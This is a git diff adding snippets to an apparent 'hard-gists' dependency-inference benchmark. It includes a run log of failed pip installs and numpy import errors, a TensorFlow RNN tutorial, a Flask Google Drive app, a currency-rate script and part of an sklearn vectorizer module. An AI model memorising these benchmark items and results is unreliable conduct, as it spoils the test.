2.0.2, 2.1.0rc1, 2.1.0, 2.1.1, 2.1.2, 2.2.0rc1, 2.2.0, 2.2.2, 2.2.3, 2.2.4, 2.2.5)\nERROR No matching distribution found for matplotlib==3.5.1\n\u001b[0m"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1 +--- +python_version: 2.7 +start_time: 1773786247.4363432 +iterations: + iteration_1: + - python_module: {'tensorflow': '2.8.0', 'matplotlib': '3.5.1'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.8.0 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.8.0\n\u001b[0m"} + ---\u003e Removed intermediate container 1e3d2e24e8d3\n"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.8.0' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.8.0' returned a non-zero code 1 + iteration_2: + - python_module: {'matplotlib': '3.5.1'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement matplotlib==3.5.1 (from versions 0.86, 0.86.1, 0.86.2, 0.91.0, 0.91.1, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1rc1, 1.4.1, 1.4.2, 1.4.3, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0b1, 2.0.0b2, 2.0.0b3, 2.0.0b4, 2.0.0rc1, 2.0.0rc2, 2.0.0, 2.0.1, 2.0.2, 2.1.0rc1, 2.1.0, 2.1.1, 2.1.2, 2.2.0rc1, 2.2.0, 2.2.2, 2.2.3, 2.2.4, 2.2.5)\nERROR No matching distribution found for matplotlib==3.5.1\n\u001b[0m"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1 + iteration_3: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_4: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_5: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_6: + - python_module: {} + - error_type: None + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_7: + - python_module: {} + - error_type: None + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_8: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_9: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy + iteration_10: + - python_module: {} + - error_type: ImportError + - error: | + Traceback (most recent call last): + File "/app/snippet.py", line 2, in + import numpy as np + ImportError: No module named numpy +end_time: 1773786603.712253 +total_time: 356.2759099006653 \ No newline at end of file diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py new file mode 100644 index 00000000..d34cc9c6 --- /dev/null +++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py @@ -0,0 +1,115 @@ +from __future__ import print_function, division +import numpy as np +import tensorflow as tf +import matplotlib.pyplot as plt + +num_epochs = 100 +total_series_length = 50000 +truncated_backprop_length = 15 +state_size = 4 +num_classes = 2 +echo_step = 3 +batch_size = 5 +num_batches = total_series_length//batch_size//truncated_backprop_length + +def generateData(): + x = np.array(np.random.choice(2, total_series_length, p=[0.5, 0.5])) + y = np.roll(x, echo_step) + y[0:echo_step] = 0 + + x = x.reshape((batch_size, -1)) # The first index changing slowest, subseries as rows + y = y.reshape((batch_size, -1)) + + return (x, y) + +batchX_placeholder = tf.placeholder(tf.float32, [batch_size, truncated_backprop_length]) +batchY_placeholder = tf.placeholder(tf.int32, [batch_size, truncated_backprop_length]) + +init_state = tf.placeholder(tf.float32, [batch_size, state_size]) + +W = tf.Variable(np.random.rand(state_size+1, state_size), dtype=tf.float32) +b = tf.Variable(np.zeros((1,state_size)), dtype=tf.float32) + +W2 = tf.Variable(np.random.rand(state_size, num_classes),dtype=tf.float32) +b2 = tf.Variable(np.zeros((1,num_classes)), dtype=tf.float32) + +# Unpack columns +inputs_series = tf.unpack(batchX_placeholder, axis=1) +labels_series = tf.unpack(batchY_placeholder, axis=1) + +# Forward pass +current_state = init_state +states_series = [] +for current_input in inputs_series: + current_input = tf.reshape(current_input, [batch_size, 1]) + input_and_state_concatenated = tf.concat(1, [current_input, current_state]) # Increasing number of columns + + next_state = tf.tanh(tf.matmul(input_and_state_concatenated, W) + b) # Broadcasted addition + states_series.append(next_state) + current_state = next_state + +logits_series = [tf.matmul(state, W2) + b2 for state in states_series] #Broadcasted addition +predictions_series = [tf.nn.softmax(logits) for logits in logits_series] + +losses = [tf.nn.sparse_softmax_cross_entropy_with_logits(logits, labels) for logits, labels in zip(logits_series,labels_series)] +total_loss = tf.reduce_mean(losses) + +train_step = tf.train.AdagradOptimizer(0.3).minimize(total_loss) + +def plot(loss_list, predictions_series, batchX, batchY): + plt.subplot(2, 3, 1) + plt.cla() + plt.plot(loss_list) + + for batch_series_idx in range(5): + one_hot_output_series = np.array(predictions_series)[:, batch_series_idx, :] + single_output_series = np.array([(1 if out[0] < 0.5 else 0) for out in one_hot_output_series]) + + plt.subplot(2, 3, batch_series_idx + 2) + plt.cla() + plt.axis([0, truncated_backprop_length, 0, 2]) + left_offset = range(truncated_backprop_length) + plt.bar(left_offset, batchX[batch_series_idx, :], width=1, color="blue") + plt.bar(left_offset, batchY[batch_series_idx, :] * 0.5, width=1, color="red") + plt.bar(left_offset, single_output_series * 0.3, width=1, color="green") + + plt.draw() + plt.pause(0.0001) + + +with tf.Session() as sess: + sess.run(tf.initialize_all_variables()) + plt.ion() + plt.figure() + plt.show() + loss_list = [] + + for epoch_idx in range(num_epochs): + x,y = generateData() + _current_state = np.zeros((batch_size, state_size)) + + print("New data, epoch", epoch_idx) + + for batch_idx in range(num_batches): + start_idx = batch_idx * truncated_backprop_length + end_idx = start_idx + truncated_backprop_length + + batchX = x[:,start_idx:end_idx] + batchY = y[:,start_idx:end_idx] + + _total_loss, _train_step, _current_state, _predictions_series = sess.run( + [total_loss, train_step, current_state, predictions_series], + feed_dict={ + batchX_placeholder:batchX, + batchY_placeholder:batchY, + init_state:_current_state + }) + + loss_list.append(_total_loss) + + if batch_idx%100 == 0: + print("Step",batch_idx, "Loss", _total_loss) + plot(loss_list, _predictions_series, batchX, batchY) + +plt.ioff() +plt.show() \ No newline at end of file diff --git a/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py b/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py differ diff --git a/hard-gists/0b92b9ca837a0f5474c732876220db78/snippet.py b/hard-gists/0b92b9ca837a0f5474c732876220db78/snippet.py new file mode 100644 index 00000000..9336ca21 --- /dev/null +++ b/hard-gists/0b92b9ca837a0f5474c732876220db78/snippet.py @@ -0,0 +1,110 @@ +## +# Flask Drive Example App +# +# @author Prahlad Yeri +# @date 30-12-2016 +# Dependency: +# 1. pip install flask google-api-python-client +# 2. make sure you have client_id.json in this same directory. + +import os +import flask +import httplib2 +from apiclient import discovery +from apiclient.http import MediaIoBaseDownload, MediaFileUpload +from oauth2client import client +from oauth2client import tools +from oauth2client.file import Storage + +app = flask.Flask(__name__) + +@app.route('/') +def index(): + credentials = get_credentials() + if credentials == False: + return flask.redirect(flask.url_for('oauth2callback')) + elif credentials.access_token_expired: + return flask.redirect(flask.url_for('oauth2callback')) + else: + print('now calling fetch') + all_files = fetch("'root' in parents and mimeType = 'application/vnd.google-apps.folder'", sort='modifiedTime desc') + s = "" + for file in all_files: + s += "%s, %s
" % (file['name'],file['id']) + return s + +@app.route('/oauth2callback') +def oauth2callback(): + flow = client.flow_from_clientsecrets('client_id.json', + scope='https://www.googleapis.com/auth/drive', + redirect_uri=flask.url_for('oauth2callback', _external=True)) # access drive api using developer credentials + flow.params['include_granted_scopes'] = 'true' + if 'code' not in flask.request.args: + auth_uri = flow.step1_get_authorize_url() + return flask.redirect(auth_uri) + else: + auth_code = flask.request.args.get('code') + credentials = flow.step2_exchange(auth_code) + open('credentials.json','w').write(credentials.to_json()) # write access token to credentials.json locally + return flask.redirect(flask.url_for('index')) + +def get_credentials(): + credential_path = 'credentials.json' + + store = Storage(credential_path) + credentials = store.get() + if not credentials or credentials.invalid: + print("Credentials not found.") + return False + else: + print("Credentials fetched successfully.") + return credentials + +def fetch(query, sort='modifiedTime desc'): + credentials = get_credentials() + http = credentials.authorize(httplib2.Http()) + service = discovery.build('drive', 'v3', http=http) + results = service.files().list( + q=query,orderBy=sort,pageSize=10,fields="nextPageToken, files(id, name)").execute() + items = results.get('files', []) + return items + +def download_file(file_id, output_file): + credentials = get_credentials() + http = credentials.authorize(httplib2.Http()) + service = discovery.build('drive', 'v3', http=http) + #file_id = '0BwwA4oUTeiV1UVNwOHItT0xfa2M' + request = service.files().export_media(fileId=file_id,mimeType='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet') + #request = service.files().get_media(fileId=file_id) + + fh = open(output_file,'wb') #io.BytesIO() + downloader = MediaIoBaseDownload(fh, request) + done = False + while done is False: + status, done = downloader.next_chunk() + #print ("Download %d%%." % int(status.progress() * 100)) + fh.close() + #return fh + +def update_file(file_id, local_file): + credentials = get_credentials() + http = credentials.authorize(httplib2.Http()) + service = discovery.build('drive', 'v3', http=http) + # First retrieve the file from the API. + file = service.files().get(fileId=file_id).execute() + # File's new content. + media_body = MediaFileUpload(local_file, resumable=True) + # Send the request to the API. + updated_file = service.files().update( + fileId=file_id, + #body=file, + #newRevision=True, + media_body=media_body).execute() + +if __name__ == '__main__': + if os.path.exists('client_id.json') == False: + print('Client secrets file (client_id.json) not found in the app path.') + exit() + import uuid + app.secret_key = str(uuid.uuid4()) + app.run(debug=True) \ No newline at end of file diff --git a/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py b/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0b942dd86f01efe996b8977b158c37a6/._snippet.py differ diff --git a/hard-gists/0b942dd86f01efe996b8977b158c37a6/snippet.py b/hard-gists/0b942dd86f01efe996b8977b158c37a6/snippet.py new file mode 100644 index 00000000..5c1534dc --- /dev/null +++ b/hard-gists/0b942dd86f01efe996b8977b158c37a6/snippet.py @@ -0,0 +1,52 @@ +""" script to gather the average crrency exchange rate from fixer.io """ + +from urllib.parse import urlencode +from datetime import date, timedelta +import requests + +def currency_conversion_rate(base, target, that_date='latest'): + """ + get the currency conversion rate for the specific date + """ + + main_api = 'http://api.fixer.io/{}?'.format(that_date) + url = main_api + urlencode({'base':base}) + json_data = requests.get(url).json() + + try: + result = json_data['rates'][target] + # except requests.exceptions.ConnectionError: + # result = "Connection Error" + except KeyError: + result = 0.00 + + return result + +def main(base, target, start_date, end_date): + + step = timedelta(days=1) + + total_days = 0 + total_amount_sum = 0 + + while start_date < end_date: + that_date = start_date.strftime("%Y-%m-%d") + amount = currency_conversion_rate(base, target, that_date) + if amount != 0: + # because on fixer.io gives exchange rates for working days + # so we're only considering the days when we do have a rate available + # for more on this: https://github.com/hakanensari/fixer-io/issues/47 + total_amount_sum += amount + total_days += 1 + + print(that_date, amount) + + + start_date += step + + print(total_amount_sum/total_days) + +if __name__ == '__main__': + START_DATE = date(2017, 8, 1) + END_DATE = date(2017, 8, 15) + main('USD', 'INR', START_DATE, END_DATE) diff --git a/hard-gists/0b9d8a742fe0efe0fe82/._snippet.py b/hard-gists/0b9d8a742fe0efe0fe82/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0b9d8a742fe0efe0fe82/._snippet.py differ diff --git a/hard-gists/0b9d8a742fe0efe0fe82/snippet.py b/hard-gists/0b9d8a742fe0efe0fe82/snippet.py new file mode 100644 index 00000000..9a168722 --- /dev/null +++ b/hard-gists/0b9d8a742fe0efe0fe82/snippet.py @@ -0,0 +1,1370 @@ +# -*- coding: utf-8 -*- +# Authors: Olivier Grisel +# Mathieu Blondel +# Lars Buitinck +# Robert Layton +# Jochen Wersdörfer +# Roman Sinayev +# +# License: BSD 3 clause +""" +The :mod:`sklearn.feature_extraction.text` submodule gathers utilities to +build feature vectors from text documents. +""" +from __future__ import unicode_literals + +import array +from collections import Mapping, defaultdict +import numbers +from operator import itemgetter +import re +import unicodedata + +import numpy as np +import scipy.sparse as sp + +from ..base import BaseEstimator, TransformerMixin +from ..externals.six.moves import xrange +from ..preprocessing import normalize +from .hashing import FeatureHasher +from .stop_words import ENGLISH_STOP_WORDS +from ..utils import deprecated +from ..externals import six + + +__all__ = ['CountVectorizer', + 'ENGLISH_STOP_WORDS', + 'TfidfTransformer', + 'TfidfVectorizer', + 'strip_accents_ascii', + 'strip_accents_unicode', + 'strip_tags'] + + +def strip_accents_unicode(s): + """Transform accentuated unicode symbols into their simple counterpart + + Warning: the python-level loop and join operations make this + implementation 20 times slower than the strip_accents_ascii basic + normalization. + + See also + -------- + strip_accents_ascii + Remove accentuated char for any unicode symbol that has a direct + ASCII equivalent. + """ + return ''.join([c for c in unicodedata.normalize('NFKD', s) + if not unicodedata.combining(c)]) + + +def strip_accents_ascii(s): + """Transform accentuated unicode symbols into ascii or nothing + + Warning: this solution is only suited for languages that have a direct + transliteration to ASCII symbols. + + See also + -------- + strip_accents_unicode + Remove accentuated char for any unicode symbol. + """ + nkfd_form = unicodedata.normalize('NFKD', s) + return nkfd_form.encode('ASCII', 'ignore').decode('ASCII') + + +def strip_tags(s): + """Basic regexp based HTML / XML tag stripper function + + For serious HTML/XML preprocessing you should rather use an external + library such as lxml or BeautifulSoup. + """ + return re.compile(r"<([^>]+)>", flags=re.UNICODE).sub(" ", s) + + +def _check_stop_list(stop): + if stop == "english": + return ENGLISH_STOP_WORDS + elif isinstance(stop, six.string_types): + raise ValueError("not a built-in stop list: %s" % stop) + else: # assume it's a collection + return stop + + +class VectorizerMixin(object): + """Provides common code for text vectorizers (tokenization logic).""" + + _white_spaces = re.compile(r"\s\s+") + + def decode(self, doc): + """Decode the input into a string of unicode symbols + + The decoding strategy depends on the vectorizer parameters. + """ + if self.input == 'filename': + with open(doc, 'rb') as fh: + doc = fh.read() + + elif self.input == 'file': + doc = doc.read() + + if isinstance(doc, bytes): + doc = doc.decode(self.encoding, self.decode_error) + + if doc is np.nan: + raise ValueError("np.nan is an invalid document, expected byte or " + "unicode string.") + + return doc + + def _word_ngrams(self, tokens, stop_words=None): + """Turn tokens into a sequence of n-grams after stop words filtering""" + # handle stop words + if stop_words is not None: + tokens = [w for w in tokens if w not in stop_words] + + # handle token n-grams + min_n, max_n = self.ngram_range + if max_n != 1: + original_tokens = tokens + tokens = [] + n_original_tokens = len(original_tokens) + for n in xrange(min_n, + min(max_n + 1, n_original_tokens + 1)): + for i in xrange(n_original_tokens - n + 1): + tokens.append(" ".join(original_tokens[i: i + n])) + + return tokens + + def _char_ngrams(self, text_document): + """Tokenize text_document into a sequence of character n-grams""" + # normalize white spaces + text_document = self._white_spaces.sub(" ", text_document) + + text_len = len(text_document) + ngrams = [] + min_n, max_n = self.ngram_range + for n in xrange(min_n, min(max_n + 1, text_len + 1)): + for i in xrange(text_len - n + 1): + ngrams.append(text_document[i: i + n]) + return ngrams + + def _char_wb_ngrams(self, text_document): + """Whitespace sensitive char-n-gram tokenization. + + Tokenize text_document into a sequence of character n-grams + excluding any whitespace (operating only inside word boundaries)""" + # normalize white spaces + text_document = self._white_spaces.sub(" ", text_document) + + min_n, max_n = self.ngram_range + ngrams = [] + for w in text_document.split(): + w = ' ' + w + ' ' + w_len = len(w) + for n in xrange(min_n, max_n + 1): + offset = 0 + ngrams.append(w[offset:offset + n]) + while offset + n < w_len: + offset += 1 + ngrams.append(w[offset:offset + n]) + if offset == 0: # count a short word (w_len < n) only once + break + return ngrams + + def build_preprocessor(self): + """Return a function to preprocess the text before tokenization""" + if self.preprocessor is not None: + return self.preprocessor + + # unfortunately python functools package does not have an efficient + # `compose` function that would have allowed us to chain a dynamic + # number of functions. However the cost of a lambda call is a few + # hundreds of nanoseconds which is negligible when compared to the + # cost of tokenizing a string of 1000 chars for instance. + noop = lambda x: x + + # accent stripping + if not self.strip_accents: + strip_accents = noop + elif callable(self.strip_accents): + strip_accents = self.strip_accents + elif self.strip_accents == 'ascii': + strip_accents = strip_accents_ascii + elif self.strip_accents == 'unicode': + strip_accents = strip_accents_unicode + else: + raise ValueError('Invalid value for "strip_accents": %s' % + self.strip_accents) + + if self.lowercase: + return lambda x: strip_accents(x.lower()) + else: + return strip_accents + + def build_tokenizer(self): + """Return a function that splits a string into a sequence of tokens""" + if self.tokenizer is not None: + return self.tokenizer + token_pattern = re.compile(self.token_pattern) + return lambda doc: token_pattern.findall(doc) + + def get_stop_words(self): + """Build or fetch the effective stop words list""" + return _check_stop_list(self.stop_words) + + def build_analyzer(self): + """Return a callable that handles preprocessing and tokenization""" + if callable(self.analyzer): + return self.analyzer + + preprocess = self.build_preprocessor() + + if self.analyzer == 'char': + return lambda doc: self._char_ngrams(preprocess(self.decode(doc))) + + elif self.analyzer == 'char_wb': + return lambda doc: self._char_wb_ngrams( + preprocess(self.decode(doc))) + + elif self.analyzer == 'word': + stop_words = self.get_stop_words() + tokenize = self.build_tokenizer() + + return lambda doc: self._word_ngrams( + tokenize(preprocess(self.decode(doc))), stop_words) + + else: + raise ValueError('%s is not a valid tokenization scheme/analyzer' % + self.analyzer) + + def _check_vocabulary(self): + vocabulary = self.vocabulary + if vocabulary is not None: + if not isinstance(vocabulary, Mapping): + vocab = {} + for i, t in enumerate(vocabulary): + if vocab.setdefault(t, i) != i: + msg = "Duplicate term in vocabulary: %r" % t + raise ValueError(msg) + vocabulary = vocab + else: + indices = set(six.itervalues(vocabulary)) + if len(indices) != len(vocabulary): + raise ValueError("Vocabulary contains repeated indices.") + for i in xrange(len(vocabulary)): + if i not in indices: + msg = ("Vocabulary of size %d doesn't contain index " + "%d." % (len(vocabulary), i)) + raise ValueError(msg) + if not vocabulary: + raise ValueError("empty vocabulary passed to fit") + self.fixed_vocabulary_ = True + self.vocabulary_ = dict(vocabulary) + else: + self.fixed_vocabulary_ = False + + @property + @deprecated("The `fixed_vocabulary` attribute is deprecated and will be " + "removed in 0.18. Please use `fixed_vocabulary_` instead.") + def fixed_vocabulary(self): + return self.fixed_vocabulary_ + + +class HashingVectorizer(BaseEstimator, VectorizerMixin): + """Convert a collection of text documents to a matrix of token occurrences + + It turns a collection of text documents into a scipy.sparse matrix holding + token occurrence counts (or binary occurrence information), possibly + normalized as token frequencies if norm='l1' or projected on the euclidean + unit sphere if norm='l2'. + + This text vectorizer implementation uses the hashing trick to find the + token string name to feature integer index mapping. + + This strategy has several advantages: + + - it is very low memory scalable to large datasets as there is no need to + store a vocabulary dictionary in memory + + - it is fast to pickle and un-pickle as it holds no state besides the + constructor parameters + + - it can be used in a streaming (partial fit) or parallel pipeline as there + is no state computed during fit. + + There are also a couple of cons (vs using a CountVectorizer with an + in-memory vocabulary): + + - there is no way to compute the inverse transform (from feature indices to + string feature names) which can be a problem when trying to introspect + which features are most important to a model. + + - there can be collisions: distinct tokens can be mapped to the same + feature index. However in practice this is rarely an issue if n_features + is large enough (e.g. 2 ** 18 for text classification problems). + + - no IDF weighting as this would render the transformer stateful. + + The hash function employed is the signed 32-bit version of Murmurhash3. + + Parameters + ---------- + + input: string {'filename', 'file', 'content'} + If 'filename', the sequence passed as an argument to fit is + expected to be a list of filenames that need reading to fetch + the raw content to analyze. + + If 'file', the sequence items must have a 'read' method (file-like + object) that is called to fetch the bytes in memory. + + Otherwise the input is expected to be the sequence strings or + bytes items are expected to be analyzed directly. + + encoding : string, 'utf-8' by default. + If bytes or files are given to analyze, this encoding is used to + decode. + + decode_error : {'strict', 'ignore', 'replace'} + Instruction on what to do if a byte sequence is given to analyze that + contains characters not of the given `encoding`. By default, it is + 'strict', meaning that a UnicodeDecodeError will be raised. Other + values are 'ignore' and 'replace'. + + strip_accents: {'ascii', 'unicode', None} + Remove accents during the preprocessing step. + 'ascii' is a fast method that only works on characters that have + an direct ASCII mapping. + 'unicode' is a slightly slower method that works on any characters. + None (default) does nothing. + + analyzer: string, {'word', 'char', 'char_wb'} or callable + Whether the feature should be made of word or character n-grams. + Option 'char_wb' creates character n-grams only from text inside + word boundaries. + + If a callable is passed it is used to extract the sequence of features + out of the raw, unprocessed input. + + preprocessor: callable or None (default) + Override the preprocessing (string transformation) stage while + preserving the tokenizing and n-grams generation steps. + + tokenizer: callable or None (default) + Override the string tokenization step while preserving the + preprocessing and n-grams generation steps. + + ngram_range: tuple (min_n, max_n) + The lower and upper boundary of the range of n-values for different + n-grams to be extracted. All values of n such that min_n <= n <= max_n + will be used. + + stop_words: string {'english'}, list, or None (default) + If 'english', a built-in stop word list for English is used. + + If a list, that list is assumed to contain stop words, all of which + will be removed from the resulting tokens. + + lowercase: boolean, default True + Convert all characters to lowercase before tokenizing. + + token_pattern: string + Regular expression denoting what constitutes a "token", only used + if `analyzer == 'word'`. The default regexp selects tokens of 2 + or more alphanumeric characters (punctuation is completely ignored + and always treated as a token separator). + + n_features : integer, optional, (2 ** 20) by default + The number of features (columns) in the output matrices. Small numbers + of features are likely to cause hash collisions, but large numbers + will cause larger coefficient dimensions in linear learners. + + norm : 'l1', 'l2' or None, optional + Norm used to normalize term vectors. None for no normalization. + + binary: boolean, False by default. + If True, all non zero counts are set to 1. This is useful for discrete + probabilistic models that model binary events rather than integer + counts. + + dtype: type, optional + Type of the matrix returned by fit_transform() or transform(). + + non_negative : boolean, optional + Whether output matrices should contain non-negative values only; + effectively calls abs on the matrix prior to returning it. + When True, output values can be interpreted as frequencies. + When False, output values will have expected value zero. + + See also + -------- + CountVectorizer, TfidfVectorizer + + """ + + def __init__(self, input='content', encoding='utf-8', + decode_error='strict', strip_accents=None, + lowercase=True, preprocessor=None, tokenizer=None, + stop_words=None, token_pattern=r"(?u)\b\w\w+\b", + ngram_range=(1, 1), analyzer='word', n_features=(2 ** 20), + binary=False, norm='l2', non_negative=False, + dtype=np.float64): + self.input = input + self.encoding = encoding + self.decode_error = decode_error + self.strip_accents = strip_accents + self.preprocessor = preprocessor + self.tokenizer = tokenizer + self.analyzer = analyzer + self.lowercase = lowercase + self.token_pattern = token_pattern + self.stop_words = stop_words + self.n_features = n_features + self.ngram_range = ngram_range + self.binary = binary + self.norm = norm + self.non_negative = non_negative + self.dtype = dtype + + def partial_fit(self, X, y=None): + """Does nothing: this transformer is stateless. + + This method is just there to mark the fact that this transformer + can work in a streaming setup. + + """ + return self + + def fit(self, X, y=None): + """Does nothing: this transformer is stateless.""" + # triggers a parameter validation + self._get_hasher().fit(X, y=y) + return self + + def transform(self, X, y=None): + """Transform a sequence of documents to a document-term matrix. + + Parameters + ---------- + X : iterable over raw text documents, length = n_samples + Samples. Each sample must be a text document (either bytes or + unicode strings, file name or file object depending on the + constructor argument) which will be tokenized and hashed. + + y : (ignored) + + Returns + ------- + X : scipy.sparse matrix, shape = (n_samples, self.n_features) + Document-term matrix. + + """ + analyzer = self.build_analyzer() + X = self._get_hasher().transform(analyzer(doc) for doc in X) + if self.binary: + X.data.fill(1) + if self.norm is not None: + X = normalize(X, norm=self.norm, copy=False) + return X + + # Alias transform to fit_transform for convenience + fit_transform = transform + + def _get_hasher(self): + return FeatureHasher(n_features=self.n_features, + input_type='string', dtype=self.dtype, + non_negative=self.non_negative) + + +def _add_sparse_column(sparse,column): + import itertools + addition = sp.lil_matrix(sparse.shape) + sparse_coo = sparse.tocoo() + for i,j,v in itertools.izip(sparse_coo.row, sparse_coo.col, sparse_coo.data): + addition[i,j] = v + column[i,0] + return addition.tocsr() + +def _class_frequencies(X, y): + """Count the number of non-zero values for each class y in sparse X.""" + + labels = np.unique(y) + if len(labels) > 2: + raise ValueError("Delta works only with binary classification problems") + + # Indices for each type of labels in y + N1 = np.where(y == labels[0])[0] + N2 = np.where(y == labels[1])[0] + + # Number of positive documents that each term appears on + df1 = np.bincount(X[N1].nonzero()[1], minlength=X.shape[1]) + # Number of negative documents that each term appears on + df2 = np.bincount(X[N2].nonzero()[1], minlength=X.shape[1]) + + return N1.shape[0], df1, N2.shape[0], df2 + + +def _document_frequency(X): + """Count the number of non-zero values for each feature in sparse X.""" + if sp.isspmatrix_csr(X): + return np.bincount(X.indices, minlength=X.shape[1]) + else: + return np.diff(sp.csc_matrix(X, copy=False).indptr) + + +class CountVectorizer(BaseEstimator, VectorizerMixin): + """Convert a collection of text documents to a matrix of token counts + + This implementation produces a sparse representation of the counts using + scipy.sparse.coo_matrix. + + If you do not provide an a-priori dictionary and you do not use an analyzer + that does some kind of feature selection then the number of features will + be equal to the vocabulary size found by analyzing the data. + + Parameters + ---------- + input : string {'filename', 'file', 'content'} + If 'filename', the sequence passed as an argument to fit is + expected to be a list of filenames that need reading to fetch + the raw content to analyze. + + If 'file', the sequence items must have a 'read' method (file-like + object) that is called to fetch the bytes in memory. + + Otherwise the input is expected to be the sequence strings or + bytes items are expected to be analyzed directly. + + encoding : string, 'utf-8' by default. + If bytes or files are given to analyze, this encoding is used to + decode. + + decode_error : {'strict', 'ignore', 'replace'} + Instruction on what to do if a byte sequence is given to analyze that + contains characters not of the given `encoding`. By default, it is + 'strict', meaning that a UnicodeDecodeError will be raised. Other + values are 'ignore' and 'replace'. + + strip_accents : {'ascii', 'unicode', None} + Remove accents during the preprocessing step. + 'ascii' is a fast method that only works on characters that have + an direct ASCII mapping. + 'unicode' is a slightly slower method that works on any characters. + None (default) does nothing. + + analyzer : string, {'word', 'char', 'char_wb'} or callable + Whether the feature should be made of word or character n-grams. + Option 'char_wb' creates character n-grams only from text inside + word boundaries. + + If a callable is passed it is used to extract the sequence of features + out of the raw, unprocessed input. + + preprocessor : callable or None (default) + Override the preprocessing (string transformation) stage while + preserving the tokenizing and n-grams generation steps. + + tokenizer : callable or None (default) + Override the string tokenization step while preserving the + preprocessing and n-grams generation steps. + + ngram_range : tuple (min_n, max_n) + The lower and upper boundary of the range of n-values for different + n-grams to be extracted. All values of n such that min_n <= n <= max_n + will be used. + + stop_words : string {'english'}, list, or None (default) + If 'english', a built-in stop word list for English is used. + + If a list, that list is assumed to contain stop words, all of which + will be removed from the resulting tokens. + + If None, no stop words will be used. max_df can be set to a value + in the range [0.7, 1.0) to automatically detect and filter stop + words based on intra corpus document frequency of terms. + + lowercase : boolean, True by default + Convert all characters to lowercase before tokenizing. + + token_pattern : string + Regular expression denoting what constitutes a "token", only used + if `tokenize == 'word'`. The default regexp select tokens of 2 + or more alphanumeric characters (punctuation is completely ignored + and always treated as a token separator). + + max_df : float in range [0.0, 1.0] or int, optional, 1.0 by default + When building the vocabulary ignore terms that have a document + frequency strictly higher than the given threshold (corpus-specific + stop words). + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + min_df : float in range [0.0, 1.0] or int, optional, 1 by default + When building the vocabulary ignore terms that have a document + frequency strictly lower than the given threshold. This value is also + called cut-off in the literature. + If float, the parameter represents a proportion of documents, integer + absolute counts. + This parameter is ignored if vocabulary is not None. + + max_features : optional, None by default + If not None, build a vocabulary that only consider the top + max_features ordered by term frequency across the corpus. + + This parameter is ignored if vocabulary is not None. + + vocabulary : Mapping or iterable, optional + Either a Mapping (e.g., a dict) where keys are terms and values are + indices in the feature matrix, or an iterable over terms. If not + given, a vocabulary is determined from the input documents. Indices + in the mapping should not be repeated and should not have any gap + between 0 and the largest index. + + binary : boolean, False by default. + If True, all non zero counts are set to 1. This is useful for discrete + probabilistic models that model binary events rather than integer + counts. + + dtype : type, optional + Type of the matrix returned by fit_transform() or transform(). + + Attributes + ---------- + vocabulary_ : dict + A mapping of terms to feature indices. + + stop_words_ : set + Terms that were ignored because + they occurred in either too many + (`max_df`) or in too few (`min_df`) documents. + This is only available if no vocabulary was given. + + See also + -------- + HashingVectorizer, TfidfVectorizer + """ + + def __init__(self, input='content', encoding='utf-8', + decode_error='strict', strip_accents=None, + lowercase=True, preprocessor=None, tokenizer=None, + stop_words=None, token_pattern=r"(?u)\b\w\w+\b", + ngram_range=(1, 1), analyzer='word', + max_df=1.0, min_df=1, max_features=None, + vocabulary=None, binary=False, dtype=np.int64): + self.input = input + self.encoding = encoding + self.decode_error = decode_error + self.strip_accents = strip_accents + self.preprocessor = preprocessor + self.tokenizer = 